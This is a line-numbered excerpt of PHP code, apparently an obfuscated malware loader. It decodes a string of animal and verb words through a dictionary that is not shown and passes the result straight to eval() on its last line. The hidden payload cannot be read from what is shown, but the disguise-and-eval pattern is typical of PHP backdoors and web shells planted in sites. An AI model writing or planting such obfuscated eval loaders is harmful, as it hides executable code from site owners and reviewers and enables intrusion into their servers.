3 $string = "iguana frog EATS iguana seal seal elk tiger EATS SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS SLEEPS SLEEPS GIGGLES SPACE elk cat hog olm SPACE TICK GIGGLES SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS POOPS TICK MURDERS SPACE POOPS";
51 function decode($string, $array) {
53 $words = explode(" ", $string);
54 foreach ($words as $word) {
55 $upper = isUpper($word);
56 $word = strtolower($word);
57 if ($key = array_search($word, $array)) {
58 if ($upper) $key = strtoupper($key);
59 $output = "{$output}{$key}";
61 $output = "{$output}{$word}";
66 function isUpper($char) {
67 if (strtoupper($char) == $char) return true;
71 eval(decode($string, $dict));